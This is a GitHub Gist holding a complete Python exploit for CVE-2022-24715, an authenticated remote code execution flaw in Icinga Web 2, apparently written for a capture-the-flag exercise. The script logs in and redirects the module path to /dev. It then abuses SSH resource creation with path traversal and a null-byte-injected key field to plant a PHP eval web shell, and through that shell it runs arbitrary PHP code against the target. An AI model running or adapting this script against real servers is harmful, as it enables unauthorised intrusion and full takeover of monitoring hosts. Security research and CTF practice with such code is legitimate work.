Last active
July 17, 2023 06:30
-
-
Save bryanmcnulty/be4c01b17506e05e7a9c8e1e7cf103e1 to your computer and use it in GitHub Desktop.
Icinga Web 2 versions < 2.8.6, 2.9.0-2.9.6 Authenticated Remote Code Execution (RCE) - CVE-2022-24715
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
''' | |
* Written for a CTF :) | |
* --- | |
* Author: Bryan McNulty | |
* Contact: bryanmcnulty@protonmail.com | |
* Blog: https://bryanmcnulty.github.io | |
* GitHub: https://github.com/bryanmcnulty | |
* LinkedIn: https://www.linkedin.com/in/bryanmcnulty | |
* --- | |
* OS: | |
* - Linux | |
* - Windows? | |
* Dependencies: | |
* - argparse | |
* - bs4 | |
* - requests | |
* | |
* Icinga Web 2 Authenticated RCE | CVE-2022-24715 | |
''' | |
import argparse | |
import bs4 | |
import random | |
import requests | |
def get_csrf(html): | |
bs = bs4.BeautifulSoup(html.text, 'lxml') | |
token = bs.find('input', {'id': 'CSRFToken'})['value'] | |
return token | |
class CVE_2022_24715: | |
random_private_key = '''-----BEGIN RSA PRIVATE KEY-----\r | |
MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAsQ/QH+NWTNSa/rY1\r | |
FM0wGT2AMCBiwxGf9BUSVxwZjzwIJ21ZYzGePXa3Sl9WPFfL1iXTt8l25FyJlw/0\r | |
BDk96wIDAQABAkEAmYm60kwSw+EA3qsl8HnVoa2BATq0Ka+Y4tF66+rEBz14CecK\r | |
9kdF6Riti3ntt6OFplZ05zY/NyBl1lLcvY598QIhANlw08TR2/rYu9SchwSRQjs0\r | |
N13yo/yLeZBjV3kaYCmNAiEA0HXmKiuuZbR4CtnZUptyja2ZG+47lbq4eyrVk1Fe\r | |
W1cCIGFucxXAS2fNcezE7qMXS6wnq5+HN//Tp3cRbIKxVOGJAiAvOobrBvp8EGci\r | |
Djkufgl2D96gdVkKk0M4pHu+5LB8AQIgZ31NPGShnAq4fNa71cNKbM7R3ywgijuV\r | |
tAZB3bwiboU=\r | |
-----END RSA PRIVATE KEY-----''' | |
php_web_shell = '<?php echo @eval($_POST["e"]);?>' | |
def __init__(self, args): | |
self.url = args.target.rstrip('/') | |
self.session = requests.Session() | |
if args.proxy: | |
self.session.proxies = {'http': args.proxy, 'https': args.proxy} | |
self.creds = (args.username, args.password) | |
self.code = args.code + ';' | |
@staticmethod | |
def rand(): | |
return random.randbytes(8).hex() | |
def csrf_post(self, path, data): | |
url = self.url + path | |
get_response = self.session.get(url) | |
soup = bs4.BeautifulSoup(get_response.text, 'lxml') | |
token = soup.find('input', {'id': 'CSRFToken'})['value'] | |
data['CSRFToken'] = token | |
return self.session.post(url, data=data) | |
def exploit(self): | |
# Login | |
response = self.csrf_post('/authentication/login', { | |
'username': self.creds[0], | |
'password': self.creds[1], | |
'rememberme': '0', | |
'redirect': '', | |
'formUID': 'form_login', | |
'btn_submit': 'Login' | |
}) | |
if response.status_code == 302: | |
print('Login successful!') | |
if self.session.get(self.url + '/shm/run').content.startswith(b'file://'): | |
print(self.execute()) | |
return | |
# Change module location | |
self.csrf_post('/config/general', { | |
'global_show_stacktraces':'1', | |
'global_show_application_state_messages':'1', | |
'global_module_path':'/dev', # Important | |
'global_config_resource': 'icingaweb2', | |
'logging_log': 'syslog', | |
'logging_level': 'ERROR', | |
'logging_application': 'icingaweb2', | |
'logging_facility': 'user', | |
'runs_default': 'Icinga', | |
'runs_disabled': '0', | |
'authentication_default_domain': '', | |
'formUID': 'form_config_general', | |
'btn_submit':'Save Changes' | |
}) | |
# Enable module | |
self.csrf_post('/config/moduleenable', { | |
'identifier':'shm', | |
'btn_submit':'btn_submit' | |
}) | |
ssh_name = self.rand() | |
# Upload SSH Key | |
self.csrf_post('/config/createresource', { | |
'type': 'ssh', | |
'name': ssh_name, | |
'user': ssh_name, | |
'private_key': self.random_private_key, | |
'formUID': 'form_config_resource', | |
'btn_submit': 'Save Changes' | |
}) | |
# Upload PHP Web Shell | |
self.csrf_post('/config/createresource', { | |
'type': 'ssh', | |
'name': self.rand(), | |
'user':'../../../../../../dev/shm/run.php', # <-- Create run.php | |
'private_key': f'file:///etc/icingaweb2/ssh/{ssh_name}\x00' + self.php_web_shell, | |
'formUID': 'form_config_resource', | |
'btn_submit': 'Save Changes' | |
}) | |
print(self.execute()) | |
def execute(self): | |
post_data = {"e": self.code} | |
response = self.session.post(self.url + '/shm/run', data=post_data) | |
output = b''.join(response.content.split(b'<!DOCTYPE html>')[:-1])[44:] | |
return output | |
def main(): | |
parser = argparse.ArgumentParser(prog='CVE-2022-24715.py', description='Icinga Web 2 - CVE-2022-24715 Authenticated RCE Exploit') | |
required = parser.add_argument_group('required arguments') | |
required.add_argument('target', metavar='PROTO://HOST[:PORT][/PATH]', help='URI pointing to Icingaweb2 web root (Ex: "http://example.com:8080/icingaweb2")') | |
required.add_argument('-u', '--username', required=True, help='Icinga web account username') | |
required.add_argument('-p', '--password', required=True, help='Icinga web account password') | |
required.add_argument('-c', '--code', required=True, help='PHP code to run') | |
parser.add_argument('--proxy', default=None, metavar='PROTO://[USER:PASS@]HOST[:PORT]', help='Proxy to send requests through') | |
CVE_2022_24715(parser.parse_args()).exploit() | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment